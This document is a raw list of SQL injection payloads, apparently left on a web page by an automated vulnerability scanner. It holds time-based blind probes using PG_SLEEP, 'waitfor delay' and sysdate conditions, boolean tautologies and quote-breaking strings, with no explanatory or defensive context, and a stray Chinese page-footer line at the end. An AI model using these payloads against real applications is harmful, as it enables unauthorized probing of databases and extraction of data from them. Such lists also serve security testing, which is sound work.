- -5 OR 11=(SELECT 11 FROM PG_SLEEP(15))--
- -5) OR 673=(SELECT 673 FROM PG_SLEEP(15))--
- -1)) OR 49=(SELECT 49 FROM PG_SLEEP(15))--
- Cy1prevD' OR 753=(SELECT 753 FROM PG_SLEEP(15))--
- PIoe5avT') OR 580=(SELECT 580 FROM PG_SLEEP(15))--
- 4WP1D1Qw')) OR 186=(SELECT 186 FROM PG_SLEEP(15))--
- @@2N32j
- KtjyHpTQ
- -1 OR 2+108-108-1=0+0+0+1 --
- -1 OR 2+463-463-1=0+0+0+1
- -1' OR 2+416-416-1=0+0+0+1 --
- -1' OR 2+561-561-1=0+0+0+1 or 'u1QI4cUW'='
- -1" OR 2+902-902-1=0+0+0+1 --
- zd1Hvp9L'
- -5 OR 993=(SELECT 993 FROM PG_SLEEP(15))--
- -5) OR 126=(SELECT 126 FROM PG_SLEEP(15))--
- -1)) OR 829=(SELECT 829 FROM PG_SLEEP(15))--
- 5t4YRHyE' OR 691=(SELECT 691 FROM PG_SLEEP(15))--
- jltlDKTz') OR 265=(SELECT 265 FROM PG_SLEEP(15))--
- DAj5W0B3')) OR 206=(SELECT 206 FROM PG_SLEEP(15))--
- @@y3jRi
- WVA763IS
- -1 OR 2+91-91-1=0+0+0+1 --
- -1 OR 2+855-855-1=0+0+0+1
- -1' OR 2+378-378-1=0+0+0+1 --
- -1' OR 2+873-873-1=0+0+0+1 or 'fqHZB2lI'='
- -1" OR 2+80-80-1=0+0+0+1 --
- @@qtcK9
- 4aM64mb7
- -1 OR 2+229-229-1=0+0+0+1 --
- -1 OR 2+949-949-1=0+0+0+1
- -1' OR 2+517-517-1=0+0+0+1 --
- -1' OR 2+933-933-1=0+0+0+1 or 'vQPU1t0L'='
- -1" OR 2+378-378-1=0+0+0+1 --
- 5yQlyqaM'
- -5 OR 457=(SELECT 457 FROM PG_SLEEP(15))--
- -5) OR 816=(SELECT 816 FROM PG_SLEEP(15))--
- -1)) OR 593=(SELECT 593 FROM PG_SLEEP(15))--
- HCmfJTah' OR 976=(SELECT 976 FROM PG_SLEEP(15))--
- CeMTYLsE') OR 687=(SELECT 687 FROM PG_SLEEP(15))--
- qNqK63W7')) OR 503=(SELECT 503 FROM PG_SLEEP(15))--
- @@kG9Wt
- 1OszJr7Ao
- -1 OR 2+368-368-1=0+0+0+1 --
- -1 OR 2+823-823-1=0+0+0+1
- -1' OR 2+297-297-1=0+0+0+1 --
- -1' OR 2+424-424-1=0+0+0+1 or 'jQdWSa4L'='
- -1" OR 2+440-440-1=0+0+0+1 --
- 1*if(now()=sysdate()
- 10'XOR(1*if(now()=sysdate()
- 10"XOR(1*if(now()=sysdate()
- 1-1
- 1-1)
- 1-1 waitfor delay '0:0:15' --
- 1MqzDI6dX'
- 1-1 OR 724=(SELECT 724 FROM PG_SLEEP(15))--
- 1-1) OR 838=(SELECT 838 FROM PG_SLEEP(15))--
- 1-1)) OR 437=(SELECT 437 FROM PG_SLEEP(15))--
- 11YZZ0ZDX' OR 52=(SELECT 52 FROM PG_SLEEP(15))--
- 1PGsiFuXL') OR 136=(SELECT 136 FROM PG_SLEEP(15))--
- 1jSoaVoM7')) OR 51=(SELECT 51 FROM PG_SLEEP(15))--
- 1%2527%2522\'\"
- @@CydZG
- 18LYkwXLl
- -1 OR 2+838-838-1=0+0+0+1 --
- -1 OR 2+770-770-1=0+0+0+1
- -1' OR 2+806-806-1=0+0+0+1 --
- -1' OR 2+233-233-1=0+0+0+1 or 'Z5PFFfnP'='
- -1" OR 2+568-568-1=0+0+0+1 --
- 1-1; waitfor delay '0:0:15' --
- 1-1); waitfor delay '0:0:15' --
- 1PouumMuk'; waitfor delay '0:0:15' --
- 1-1 OR 204=(SELECT 204 FROM PG_SLEEP(15))--
- 1-1) OR 484=(SELECT 484 FROM PG_SLEEP(15))--
- 1-1)) OR 754=(SELECT 754 FROM PG_SLEEP(15))--
- 1UumwTzVq' OR 700=(SELECT 700 FROM PG_SLEEP(15))--
- 1f7kIWIg2') OR 611=(SELECT 611 FROM PG_SLEEP(15))--
- 1t4mvEenT')) OR 380=(SELECT 380 FROM PG_SLEEP(15))--
- @@8oUl6
- 1vJkLwOfs
- -1 OR 2+405-405-1=0+0+0+1 --
- -1 OR 2+950-950-1=0+0+0+1
- -1' OR 2+184-184-1=0+0+0+1 --
- -1' OR 2+395-395-1=0+0+0+1 or '5Z9PrGhw'='
- -1" OR 2+442-442-1=0+0+0+1 --
- 1vociZi8f'; waitfor delay '0:0:15' --
- 1-1 OR 564=(SELECT 564 FROM PG_SLEEP(15))--
- 1-1) OR 386=(SELECT 386 FROM PG_SLEEP(15))--
- 1-1)) OR 314=(SELECT 314 FROM PG_SLEEP(15))--
- 1AVJe6wnA' OR 201=(SELECT 201 FROM PG_SLEEP(15))--
- 1GOANpDGB') OR 871=(SELECT 871 FROM PG_SLEEP(15))--
- 1YQEHSsWE')) OR 974=(SELECT 974 FROM PG_SLEEP(15))--
- @@0MbCU
微信扫一扫, 保存到手机
